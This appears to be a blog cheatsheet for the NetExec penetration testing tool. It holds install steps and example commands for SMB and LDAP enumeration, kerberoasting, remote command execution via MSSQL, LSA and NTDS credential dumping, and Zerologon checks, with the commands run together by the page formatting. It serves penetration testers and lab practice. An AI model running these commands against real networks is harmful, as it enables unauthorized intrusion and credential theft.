NetExec, also known as nxc, is a powerful network hacking tool designed to automate security assessments of large-scale networks.
It builds upon the legacy of CrackMapExec, offering enhanced functionality for penetration testers, red teamers, and cybersecurity professionals. Below is a detailed cheatsheet to help you utilize NetExec effectively.
To install NetExec:
bashsudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
netexec --version The general syntax for NetExec commands:
bashnetexec <service> <target> -u <username> -p <password> Example for SMB:
bashnetexec smb target -u username -p password netexec smb target -u '' -p ''netexec smb target -u 'guest' -p ''netexec smb target -u username -p password -knetexec smb targetnetexec smb target -u username -p password --sharesnetexec smb target -u username -p password --usersnetexec smb target -u username -p password --groups --users --shares --sessionsnetexec smb target -u username -p password --get-file target_file output_file --share sharenamenetexec ldap target -u '' -p '' --usersnetexec ldap target -u username -p password --kerberoasting hash.txtnetexec mssql target -u username -p password -x command_to_executenetexec ftp target -u username -p password --lsnetexec smb target -u username -p password --lsanetexec smb target -u username -p password --ntdsCheck for vulnerabilities like Zerologon or PetitPotam:
bashnetexec smb target -u username -p password -M zerologon netexec smb target -u username -p password -M webdavnetexec ldap target -u username -p password --bloodhoundExplore the official NetExec Wiki and practice labs like HackTheBox’s Mist or Rebound to refine your skills.
This cheatsheet provides a quick reference to NetExec’s core functionalities, enabling efficient network enumeration, exploitation, and post-exploitation tasks.
A newly disclosed Android vulnerability is making noise for a good reason. Researchers showed that…
In MySQL Server 5.5 and earlier versions, the MyISAM was the default storage engine. So,…
A newly disclosed vulnerability in Microsoft Authenticator could expose one time sign in codes or…
Modrinth is a modern platform that’s rapidly changing the landscape of Minecraft modding, providing an…
A new, highly sophisticated malware campaign named BlackSanta has emerged, primarily targeting HR and recruitment…
Perplexity has unveiled an exciting new feature, Personal Computer, which allows AI agents to seamlessly…